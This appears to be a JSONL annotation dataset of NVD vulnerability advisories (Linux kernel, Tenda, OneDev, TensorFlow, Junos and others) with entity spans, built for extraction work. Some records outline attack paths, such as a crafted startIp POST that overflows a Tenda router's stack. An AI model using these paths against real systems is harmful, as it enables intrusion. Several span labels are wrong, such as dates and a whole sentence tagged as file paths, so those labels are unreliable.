{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: rc: gpio-ir-recv: add remove function\n\nIn case runtime PM is enabled, do runtime PM clean up to remove\ncpu latency qos request, otherwise driver removal may have below\nkernel dump:\n\n[   19.463299] Unable to handle kernel NULL pointer dereference at\nvirtual address 0000000000000048\n[   19.472161] Mem abort info:\n[   19.474985]   ESR = 0x0000000096000004\n[   19.478754]   EC = 0x25: DABT (current EL), IL = 32 bits\n[   19.484081]   SET = 0, FnV = 0\n[   19.487149]   EA = 0, S1PTW = 0\n[   19.490361]   FSC = 0x04: level 0 translation fault\n[   19.495256] Data abort info:\n[   19.498149]   ISV = 0, ISS = 0x00000004\n[   19.501997]   CM = 0, WnR = 0\n[   19.504977] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000049f81000\n[   19.511432] [0000000000000048] pgd=0000000000000000,\np4d=0000000000000000\n[   19.518245] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n[   19.524520] Modules linked in: gpio_ir_recv(+) rc_core [last\nunloaded: rc_core]\n[   19.531845] CPU: 0 PID: 445 Comm: insmod Not tainted\n6.2.0-rc1-00028-g2c397a46d47c #72\n[   19.531854] Hardware name: FSL i.MX8MM EVK board (DT)\n[   19.531859] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS\nBTYPE=--)\n[   19.551777] pc : cpu_latency_qos_remove_request+0x20/0x110\n[   19.557277] lr : gpio_ir_recv_runtime_suspend+0x18/0x30\n[gpio_ir_recv]\n[   19.557294] sp : ffff800008ce3740\n[   19.557297] x29: ffff800008ce3740 x28: 0000000000000000 x27:\nffff800008ce3d50\n[   19.574270] x26: ffffc7e3e9cea100 x25: 00000000000f4240 x24:\nffffc7e3f9ef0e30\n[   19.574284] x23: 0000000000000000 x22: ffff0061803820f4 x21:\n0000000000000008\n[   19.574296] x20: ffffc7e3fa75df30 x19: 0000000000000020 x18:\nffffffffffffffff\n[   19.588570] x17: 0000000000000000 x16: ffffc7e3f9efab70 x15:\nffffffffffffffff\n[   19.595712] x14: ffff800008ce37b8 x13: ffff800008ce37aa x12:\n0000000000000001\n[   19.602853] x11: 0000000000000001 x10: ffffcbe3ec0dff87 x9 :\n0000000000000008\n[   19.609991] x8 : 0101010101010101 x7 : 0000000000000000 x6 :\n000000000f0bfe9f\n[   19.624261] x5 : 00ffffffffffffff x4 : 0025ab8e00000000 x3 :\nffff006180382010\n[   19.631405] x2 : ffffc7e3e9ce8030 x1 : ffffc7e3fc3eb810 x0 :\n0000000000000020\n[   19.638548] Call trace:\n[   19.640995]  cpu_latency_qos_remove_request+0x20/0x110\n[   19.646142]  gpio_ir_recv_runtime_suspend+0x18/0x30 [gpio_ir_recv]\n[   19.652339]  pm_generic_runtime_suspend+0x2c/0x44\n[   19.657055]  __rpm_callback+0x48/0x1dc\n[   19.660807]  rpm_callback+0x6c/0x80\n[   19.664301]  rpm_suspend+0x10c/0x640\n[   19.667880]  rpm_idle+0x250/0x2d0\n[   19.671198]  update_autosuspend+0x38/0xe0\n[   19.675213]  pm_runtime_set_autosuspend_delay+0x40/0x60\n[   19.680442]  gpio_ir_recv_probe+0x1b4/0x21c [gpio_ir_recv]\n[   19.685941]  platform_probe+0x68/0xc0\n[   19.689610]  really_probe+0xc0/0x3dc\n[   19.693189]  __driver_probe_device+0x7c/0x190\n[   19.697550]  driver_probe_device+0x3c/0x110\n[   19.701739]  __driver_attach+0xf4/0x200\n[   19.705578]  bus_for_each_dev+0x70/0xd0\n[   19.709417]  driver_attach+0x24/0x30\n[   19.712998]  bus_add_driver+0x17c/0x240\n[   19.716834]  driver_register+0x78/0x130\n[   19.720676]  __platform_driver_register+0x28/0x34\n[   19.725386]  gpio_ir_recv_driver_init+0x20/0x1000 [gpio_ir_recv]\n[   19.731404]  do_one_initcall+0x44/0x2ac\n[   19.735243]  do_init_module+0x48/0x1d0\n[   19.739003]  load_module+0x19fc/0x2034\n[   19.742759]  __do_sys_finit_module+0xac/0x12c\n[   19.747124]  __arm64_sys_finit_module+0x20/0x30\n[   19.751664]  invoke_syscall+0x48/0x114\n[   19.755420]  el0_svc_common.constprop.0+0xcc/0xec\n[   19.760132]  do_el0_svc+0x38/0xb0\n[   19.763456]  el0_svc+0x2c/0x84\n[   19.766516]  el0t_64_sync_handler+0xf4/0x120\n[   19.770789]  el0t_64_sync+0x190/0x194\n[   19.774460] Code: 910003fd a90153f3 aa0003f3 91204021 (f9401400)\n[   19.780556] ---[ end trace 0000000000000000 ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[297, 321]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53098"}}
{"text": "berliCRM 1.0.24 contains a SQL injection vulnerability in the 'src_record' parameter that allows remote attackers to manipulate database queries. Attackers can inject malicious SQL code through a crafted POST request to the index.php endpoint to potentially extract or modify database information.", "spans": {"FILEPATH: index.php": [[224, 233]], "VULNERABILITY: SQL injection": [[27, 40]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-37006"}}
{"text": "Onedev is an open source, self-hosted Git Server with CI/CD and Kanban. In versions of Onedev prior to 7.3.0 unauthenticated users can take over a OneDev instance if there is no properly configured reverse proxy. The /git-prereceive-callback endpoint is used by the pre-receive git hook on the server to check for branch protections during a push event. It is only intended to be accessed from localhost, but the check relies on the X-Forwarded-For header. Invoking this endpoint leads to the execution of one of various git commands. The environment variables of this command execution can be controlled via query parameters. This allows attackers to write to arbitrary files, which can in turn lead to the execution of arbitrary code. Such an attack would be very hard to detect, which increases the potential impact even more. Users are advised to upgrade. There are no known workarounds for this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39205"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fq_pie: prevent dismantle issue\n\nFor some reason, fq_pie_destroy() did not copy\nworking code from pie_destroy() and other qdiscs,\nthus causing elusive bug.\n\nBefore calling del_timer_sync(&q->adapt_timer),\nwe need to ensure timer will not rearm itself.\n\nrcu: INFO: rcu_preempt self-detected stall on CPU\nrcu:    0-....: (4416 ticks this GP) idle=60d/1/0x4000000000000000 softirq=10433/10434 fqs=2579\n        (t=10501 jiffies g=13085 q=3989)\nNMI backtrace for cpu 0\nCPU: 0 PID: 13 Comm: ksoftirqd/0 Not tainted 5.16.0-rc4-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nCall Trace:\n <IRQ>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106\n nmi_cpu_backtrace.cold+0x47/0x144 lib/nmi_backtrace.c:111\n nmi_trigger_cpumask_backtrace+0x1b3/0x230 lib/nmi_backtrace.c:62\n trigger_single_cpu_backtrace include/linux/nmi.h:164 [inline]\n rcu_dump_cpu_stacks+0x25e/0x3f0 kernel/rcu/tree_stall.h:343\n print_cpu_stall kernel/rcu/tree_stall.h:627 [inline]\n check_cpu_stall kernel/rcu/tree_stall.h:711 [inline]\n rcu_pending kernel/rcu/tree.c:3878 [inline]\n rcu_sched_clock_irq.cold+0x9d/0x746 kernel/rcu/tree.c:2597\n update_process_times+0x16d/0x200 kernel/time/timer.c:1785\n tick_sched_handle+0x9b/0x180 kernel/time/tick-sched.c:226\n tick_sched_timer+0x1b0/0x2d0 kernel/time/tick-sched.c:1428\n __run_hrtimer kernel/time/hrtimer.c:1685 [inline]\n __hrtimer_run_queues+0x1c0/0xe50 kernel/time/hrtimer.c:1749\n hrtimer_interrupt+0x31c/0x790 kernel/time/hrtimer.c:1811\n local_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1086 [inline]\n __sysvec_apic_timer_interrupt+0x146/0x530 arch/x86/kernel/apic/apic.c:1103\n sysvec_apic_timer_interrupt+0x8e/0xc0 arch/x86/kernel/apic/apic.c:1097\n </IRQ>\n <TASK>\n asm_sysvec_apic_timer_interrupt+0x12/0x20 arch/x86/include/asm/idtentry.h:638\nRIP: 0010:write_comp_data kernel/kcov.c:221 [inline]\nRIP: 0010:__sanitizer_cov_trace_const_cmp1+0x1d/0x80 kernel/kcov.c:273\nCode: 54 c8 20 48 89 10 c3 66 0f 1f 44 00 00 53 41 89 fb 41 89 f1 bf 03 00 00 00 65 48 8b 0c 25 40 70 02 00 48 89 ce 4c 8b 54 24 08 <e8> 4e f7 ff ff 84 c0 74 51 48 8b 81 88 15 00 00 44 8b 81 84 15 00\nRSP: 0018:ffffc90000d27b28 EFLAGS: 00000246\nRAX: 0000000000000000 RBX: ffff888064bf1bf0 RCX: ffff888011928000\nRDX: ffff888011928000 RSI: ffff888011928000 RDI: 0000000000000003\nRBP: ffff888064bf1c28 R08: 0000000000000000 R09: 0000000000000000\nR10: ffffffff875d8295 R11: 0000000000000000 R12: 0000000000000000\nR13: ffff8880783dd300 R14: 0000000000000000 R15: 0000000000000000\n pie_calculate_probability+0x405/0x7c0 net/sched/sch_pie.c:418\n fq_pie_timer+0x170/0x2a0 net/sched/sch_fq_pie.c:383\n call_timer_fn+0x1a5/0x6b0 kernel/time/timer.c:1421\n expire_timers kernel/time/timer.c:1466 [inline]\n __run_timers.part.0+0x675/0xa20 kernel/time/timer.c:1734\n __run_timers kernel/time/timer.c:1715 [inline]\n run_timer_softirq+0xb3/0x1d0 kernel/time/timer.c:1747\n __do_softirq+0x29b/0x9c2 kernel/softirq.c:558\n run_ksoftirqd kernel/softirq.c:921 [inline]\n run_ksoftirqd+0x2d/0x60 kernel/softirq.c:913\n smpboot_thread_fn+0x645/0x9c0 kernel/smpboot.c:164\n kthread+0x405/0x4f0 kernel/kthread.c:327\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295\n </TASK>", "spans": {"FILEPATH: /1/0x4000000000000000": [[428, 449]], "FILEPATH: /01/2011": [[694, 702]], "FILEPATH: /linux/nmi.h": [[975, 987]], "FILEPATH: /rcu/tree_stall.h": [[1040, 1057], [1085, 1102], [1139, 1156]], "FILEPATH: /rcu/tree.c": [[1189, 1200], [1258, 1269]], "FILEPATH: /time/timer.c": [[1315, 1328], [2783, 2796], [2823, 2836], [2890, 2903], [2929, 2942], [2993, 3006]], "FILEPATH: /time/tick-sched.c": [[1370, 1388], [1429, 1447]], "FILEPATH: /time/hrtimer.c": [[1474, 1489], [1544, 1559], [1602, 1617]], "FILEPATH: /x86/kernel/apic/apic.c": [[1655, 1678], [1740, 1763], [1812, 1835]], "FILEPATH: /x86/include/asm/idtentry.h": [[1904, 1931]], "FILEPATH: /sched/sch_pie.c": [[2676, 2692]], "FILEPATH: /sched/sch_fq_pie.c": [[2726, 2745]], "FILEPATH: /x86/entry/entry_64.S": [[3273, 3294]], "FILEPATH: dump_stack.c": [[740, 752], [796, 808]], "FILEPATH: nmi_backtrace.c": [[852, 867], [919, 934]], "FILEPATH: kcov.c": [[1969, 1975], [2049, 2055]], "FILEPATH: softirq.c": [[3045, 3054], [3081, 3090], [3136, 3145]], "FILEPATH: smpboot.c": [[3188, 3197]], "FILEPATH: kthread.c": [[3230, 3239]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[628, 634], [635, 641], [657, 663], [685, 691]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47512"}}
{"text": "TensorFlow is an open source platform for machine learning. The reference kernel of the `CONV_3D_TRANSPOSE` TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result. Instead of `data_ptr += num_channels;` it should be `data_ptr += output_num_channels;` as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels. An attacker can craft a model with a specific number of input channels. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter. We have patched the issue in GitHub commit 72c0bdcb25305b0b36842d746cc61d72658d2941. The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.", "spans": {"HASH: 72c0bdcb25305b0b36842d746cc61d72658d2941": [[786, 826]], "ORGANIZATION: GitHub": [[772, 778]], "VULNERABILITY: buffer overflow": [[412, 427]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41894"}}
{"text": "On Juniper Networks Junos OS devices with Multipath or add-path feature enabled, processing a specific BGP UPDATE can lead to a routing process daemon (RPD) crash and restart, causing a Denial of Service (DoS). Continued receipt and processing of this UPDATE message will create a sustained Denial of Service (DoS) condition. This BGP UPDATE message can propagate to other BGP peers with vulnerable Junos versions on which Multipath or add-path feature is enabled, and cause RPD to crash and restart. This issue affects both IBGP and EBGP deployments in IPv4 or IPv6 network. Junos OS devices that do not have the BGP Multipath or add-path feature enabled are not affected by this issue. This issue affects: Juniper Networks Junos OS 12.3 versions prior to 12.3R12-S18; 15.1 versions prior to 15.1R7-S9; 17.3 versions prior to 17.3R3-S11; 17.4 versions prior to 17.4R2-S13, 17.4R3-S4; 18.1 versions prior to 18.1R3-S12; 18.2 versions prior to 18.2R3-S7; 18.3 versions prior to 18.3R3-S4; 18.4 versions prior to 18.4R2-S6, 18.4R3-S6; 19.1 versions prior to 19.1R3-S3;", "spans": {"ORGANIZATION: Juniper": [[3, 10], [708, 715]], "VULNERABILITY: Denial of Service": [[186, 203], [291, 308]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0282"}}
{"text": "A vulnerability due to the improper handling of direct memory access (DMA) buffers on EX4300 switches on Juniper Networks Junos OS allows an attacker sending specific unicast frames to trigger a Denial of Service (DoS) condition by exhausting DMA buffers, causing the FPC to crash and the device to restart. The DMA buffer leak is seen when receiving these specific, valid unicast frames on an interface without Layer 2 Protocol Tunneling (L2PT) or dot1x configured. Interfaces with either L2PT or dot1x configured are not vulnerable to this issue. When this issue occurs, DMA buffer usage keeps increasing and the following error log messages may be observed: Apr 14 14:29:34.360 /kernel: pid 64476 (pfex_junos), uid 0: exited on signal 11 (core dumped) Apr 14 14:29:33.790 init: pfe-manager (PID 64476) terminated by signal number 11. Core dumped! The DMA buffers on the FPC can be monitored by the executing vty command 'show heap': ID Base Total(b) Free(b) Used(b) % Name -- ---------- ----------- ----------- ----------- --- ----------- 0 4a46000 268435456 238230496 30204960 11 Kernel 1 18a46000 67108864 17618536 49490328 73 Bcm_sdk 2 23737000 117440512 18414552 99025960 84 DMA buf <<<<< keeps increasing 3 2a737000 16777216 16777216 0 0 DMA desc This issue affects Juniper Networks Junos OS on the EX4300: 17.3 versions prior to 17.3R3-S11; 17.4 versions prior to 17.4R2-S13, 17.4R3-S4; 18.1 versions prior to 18.1R3-S12; 18.2 versions prior to 18.2R2-S8, 18.2R3-S7; 18.3 versions prior to 18.3R3-S4; 18.4 versions prior to 18.4R1-S8, 18.4R2-S7, 18.4R3-S7; 19.1 versions prior to 19.1R1-S6, 19.1R2-S2, 19.1R3-S4; 19.2 versions prior to 19.2R1-S6, 19.2R3-S2; 19.3 versions prior to 19.3R3-S2; 19.4 versions prior to 19.4R2-S3, 19.4R3-S1; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R2-S1, 20.2R3; 20.3 versions prior to 20.3R1-S1, 20.3R2.", "spans": {"ORGANIZATION: Juniper": [[105, 112], [1274, 1281]], "VULNERABILITY: Denial of Service": [[195, 212]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0242"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/vt-d: Fix WARN_ON in iommu probe path\n\nCommit 1a75cc710b95 (\"iommu/vt-d: Use rbtree to track iommu probed\ndevices\") adds all devices probed by the iommu driver in a rbtree\nindexed by the source ID of each device. It assumes that each device\nhas a unique source ID. This assumption is incorrect and the VT-d\nspec doesn't state this requirement either.\n\nThe reason for using a rbtree to track devices is to look up the device\nwith PCI bus and devfunc in the paths of handling ATS invalidation time\nout error and the PRI I/O page faults. Both are PCI ATS feature related.\n\nOnly track the devices that have PCI ATS capabilities in the rbtree to\navoid unnecessary WARN_ON in the iommu probe path. Otherwise, on some\nplatforms below kernel splat will be displayed and the iommu probe results\nin failure.\n\n WARNING: CPU: 3 PID: 166 at drivers/iommu/intel/iommu.c:158 intel_iommu_probe_device+0x319/0xd90\n Call Trace:\n  <TASK>\n  ? __warn+0x7e/0x180\n  ? intel_iommu_probe_device+0x319/0xd90\n  ? report_bug+0x1f8/0x200\n  ? handle_bug+0x3c/0x70\n  ? exc_invalid_op+0x18/0x70\n  ? asm_exc_invalid_op+0x1a/0x20\n  ? intel_iommu_probe_device+0x319/0xd90\n  ? debug_mutex_init+0x37/0x50\n  __iommu_probe_device+0xf2/0x4f0\n  iommu_probe_device+0x22/0x70\n  iommu_bus_notifier+0x1e/0x40\n  notifier_call_chain+0x46/0x150\n  blocking_notifier_call_chain+0x42/0x60\n  bus_notify+0x2f/0x50\n  device_add+0x5ed/0x7e0\n  platform_device_add+0xf5/0x240\n  mfd_add_devices+0x3f9/0x500\n  ? preempt_count_add+0x4c/0xa0\n  ? up_write+0xa2/0x1b0\n  ? __debugfs_create_file+0xe3/0x150\n  intel_lpss_probe+0x49f/0x5b0\n  ? pci_conf1_write+0xa3/0xf0\n  intel_lpss_pci_probe+0xcf/0x110 [intel_lpss_pci]\n  pci_device_probe+0x95/0x120\n  really_probe+0xd9/0x370\n  ? __pfx___driver_attach+0x10/0x10\n  __driver_probe_device+0x73/0x150\n  driver_probe_device+0x19/0xa0\n  __driver_attach+0xb6/0x180\n  ? __pfx___driver_attach+0x10/0x10\n  bus_for_each_dev+0x77/0xd0\n  bus_add_driver+0x114/0x210\n  driver_register+0x5b/0x110\n  ? __pfx_intel_lpss_pci_driver_init+0x10/0x10 [intel_lpss_pci]\n  do_one_initcall+0x57/0x2b0\n  ? kmalloc_trace+0x21e/0x280\n  ? do_init_module+0x1e/0x210\n  do_init_module+0x5f/0x210\n  load_module+0x1d37/0x1fc0\n  ? init_module_from_file+0x86/0xd0\n  init_module_from_file+0x86/0xd0\n  idempotent_init_module+0x17c/0x230\n  __x64_sys_finit_module+0x56/0xb0\n  do_syscall_64+0x6e/0x140\n  entry_SYSCALL_64_after_hwframe+0x71/0x79", "spans": {"FILEPATH: /iommu/intel/iommu.c": [[910, 930]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35957"}}
{"text": "An issue was discovered in Veritas NetBackup and OpsCenter through 8.3.0.1. NetBackup processes using Strawberry Perl attempt to load and execute libraries from paths that do not exist by default on the Windows operating system. By default, on Windows systems, users can create directories under C:\\. If a low privileged user on the Windows system creates an affected path with a library that NetBackup attempts to load, they can execute arbitrary code as SYSTEM or Administrator. This gives the attacker administrator access on the system, allowing the attacker (by default) to access all data, access all installed applications, etc. This affects NetBackup master servers, media servers, clients, and OpsCenter servers on the Windows platform. The system is vulnerable during an install or upgrade on all systems and post-install on Master, Media, and OpsCenter servers during normal operations.", "spans": {"IP_ADDRESS: 8.3.0.1": [[67, 74]], "FILEPATH: C:\\. If a low privileged user on the Windows system creates an affected path with a library that NetBackup attempts to load": [[296, 419]], "SYSTEM: Windows": [[203, 210], [244, 251], [728, 735]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36163"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: fix NULL deref in cleanup_bearer()\n\nsyzbot found [1] that after blamed commit, ub->ubsock->sk\nwas NULL when attempting the atomic_dec() :\n\natomic_dec(&tipc_net(sock_net(ub->ubsock->sk))->wq_count);\n\nFix this by caching the tipc_net pointer.\n\n[1]\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]\nCPU: 0 UID: 0 PID: 5896 Comm: kworker/0:3 Not tainted 6.13.0-rc1-next-20241203-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nWorkqueue: events cleanup_bearer\n RIP: 0010:read_pnet include/net/net_namespace.h:387 [inline]\n RIP: 0010:sock_net include/net/sock.h:655 [inline]\n RIP: 0010:cleanup_bearer+0x1f7/0x280 net/tipc/udp_media.c:820\nCode: 18 48 89 d8 48 c1 e8 03 42 80 3c 28 00 74 08 48 89 df e8 3c f7 99 f6 48 8b 1b 48 83 c3 30 e8 f0 e4 60 00 48 89 d8 48 c1 e8 03 <42> 80 3c 28 00 74 08 48 89 df e8 1a f7 99 f6 49 83 c7 e8 48 8b 1b\nRSP: 0018:ffffc9000410fb70 EFLAGS: 00010206\nRAX: 0000000000000006 RBX: 0000000000000030 RCX: ffff88802fe45a00\nRDX: 0000000000000001 RSI: 0000000000000008 RDI: ffffc9000410f900\nRBP: ffff88807e1f0908 R08: ffffc9000410f907 R09: 1ffff92000821f20\nR10: dffffc0000000000 R11: fffff52000821f21 R12: ffff888031d19980\nR13: dffffc0000000000 R14: dffffc0000000000 R15: ffff88807e1f0918\nFS:  0000000000000000(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000556ca050b000 CR3: 0000000031c0c000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400", "spans": {"FILEPATH: /13/2024": [[685, 693]], "FILEPATH: /net/net_namespace.h": [[755, 775]], "FILEPATH: /net/sock.h": [[816, 827]], "FILEPATH: /tipc/udp_media.c": [[882, 899]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[619, 625], [626, 632], [648, 654], [676, 682]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56661"}}
{"text": "ChurchCRM is an open-source church management system. Prior to 7.1.0, an authenticated API user can modify any family record's state without proper authorization by simply changing the {familyId} parameter in requests, regardless of whether they possess the required EditRecords privilege. /family/{familyId}/verify, /family/{familyId}/verify/url, /family/{familyId}/verify/now, /family/{familyId}/activate/{status}, and /family/{familyId}/geocode lack role-based access control, allowing users to deactivate/reactivate arbitrary families, spam verification emails, and mark families as verified and trigger geocoding. This vulnerability is fixed in 7.1.0.", "spans": {"FILEPATH: /verify/url": [[335, 346]], "FILEPATH: /verify/now": [[366, 377]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39331"}}
{"text": "There is a stack buffer overflow vulnerability in the formSetPPTPServer function of Tenda-AX3 router V16.03.12.10_CN. The v10 variable is directly retrieved from the http request parameter startIp. Then v10 will be splice to stack by function sscanf without any security check,which causes stack overflow. By POSTing the page /goform/SetPptpServerCfg with proper startIp, the attacker can easily perform remote code execution with carefully crafted overflow data.", "spans": {"FILEPATH: /goform/SetPptpServerCfg": [[326, 350]], "ORGANIZATION: Tenda": [[84, 89]], "VULNERABILITY: remote code execution": [[404, 425]], "VULNERABILITY: buffer overflow": [[17, 32]], "VULNERABILITY: stack overflow": [[290, 304]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46393"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data. The implementation(https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc": [[276, 403]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29609"}}
{"text": "Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [276, 282], [411, 417], [601, 607], [701, 707]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2860"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/mremap: fix move_normal_pmd/retract_page_tables race\n\nIn mremap(), move_page_tables() looks at the type of the PMD entry and the\nspecified address range to figure out by which method the next chunk of\npage table entries should be moved.\n\nAt that point, the mmap_lock is held in write mode, but no rmap locks are\nheld yet.  For PMD entries that point to page tables and are fully covered\nby the source address range, move_pgt_entry(NORMAL_PMD, ...) is called,\nwhich first takes rmap locks, then does move_normal_pmd(). \nmove_normal_pmd() takes the necessary page table locks at source and\ndestination, then moves an entire page table from the source to the\ndestination.\n\nThe problem is: The rmap locks, which protect against concurrent page\ntable removal by retract_page_tables() in the THP code, are only taken\nafter the PMD entry has been read and it has been decided how to move it. \nSo we can race as follows (with two processes that have mappings of the\nsame tmpfs file that is stored on a tmpfs mount with huge=advise); note\nthat process A accesses page tables through the MM while process B does it\nthrough the file rmap:\n\nprocess A                      process B\n=========                      =========\nmremap\n  mremap_to\n    move_vma\n      move_page_tables\n        get_old_pmd\n        alloc_new_pmd\n                      *** PREEMPT ***\n                               madvise(MADV_COLLAPSE)\n                                 do_madvise\n                                   madvise_walk_vmas\n                                     madvise_vma_behavior\n                                       madvise_collapse\n                                         hpage_collapse_scan_file\n                                           collapse_file\n                                             retract_page_tables\n                                               i_mmap_lock_read(mapping)\n                                               pmdp_collapse_flush\n                                               i_mmap_unlock_read(mapping)\n        move_pgt_entry(NORMAL_PMD, ...)\n          take_rmap_locks\n          move_normal_pmd\n          drop_rmap_locks\n\nWhen this happens, move_normal_pmd() can end up creating bogus PMD entries\nin the line `pmd_populate(mm, new_pmd, pmd_pgtable(pmd))`.  The effect\ndepends on arch-specific and machine-specific details; on x86, you can end\nup with physical page 0 mapped as a page table, which is likely\nexploitable for user->kernel privilege escalation.\n\nFix the race by letting process B recheck that the PMD still points to a\npage table after the rmap locks have been taken.  Otherwise, we bail and\nlet the caller fall back to the PTE-level copying path, which will then\nbail immediately at the pmd_none() check.\n\nBug reachability: Reaching this bug requires that you can create\nshmem/file THP mappings - anonymous THP uses different code that doesn't\nzap stuff under rmap locks.  File THP is gated on an experimental config\nflag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need\nshmem THP to hit this bug.  As far as I know, getting shmem THP normally\nrequires that you can mount your own tmpfs with the right mount flags,\nwhich would require creating your own user+mount namespace; though I don't\nknow if some distros maybe enable shmem THP by default or something like\nthat.\n\nBug impact: This issue can likely be used for user->kernel privilege\nescalation when it is reachable.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: privilege escalation": [[2519, 2539]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50066"}}
{"text": "Icinga Director is an Icinga config deployment tool. A Security vulnerability has been found starting in version 1.0.0 and prior to 1.10.4 and 1.11.4 on several director endpoints of REST API. To reproduce this vulnerability an authenticated user with permission to access the Director is required (plus api access with regard to the api endpoints). And even though some of these Icinga Director users are restricted from accessing certain objects, are able to retrieve information related to them if their name is known. This makes it possible to change the configuration of these objects by those Icinga Director users restricted from accessing them. This results in further exploitation, data breaches and sensitive information disclosure. Affected endpoints include icingaweb2/director/service, if the host name is left out of the query; icingaweb2/directore/notification; icingaweb2/director/serviceset; and icingaweb2/director/scheduled-downtime. In addition, the endpoint `icingaweb2/director/services?host=filteredHostName` returns a status code 200 even though the services for the host is filtered. This in turn lets the restricted user know that the host `filteredHostName` exists even though the user is restricted from accessing it.  This could again result in further exploitation of this information and data breaches. Icinga Director has patches in versions 1.10.4 and 1.11.4. If upgrading is not feasible, disable the director module for the users other than admin role for the time being.", "spans": {"FILEPATH: /director/service": [[780, 797]], "FILEPATH: /directore/notification": [[852, 875]], "FILEPATH: /director/serviceset": [[887, 907]], "FILEPATH: /director/scheduled-downtime.": [[923, 952]], "FILEPATH: /director/services": [[990, 1008]], "VULNERABILITY: information disclosure": [[719, 741]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23203"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of CR2 files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-11335.", "spans": {"IP_ADDRESS: 3.6.6.922": [[125, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17432"}}
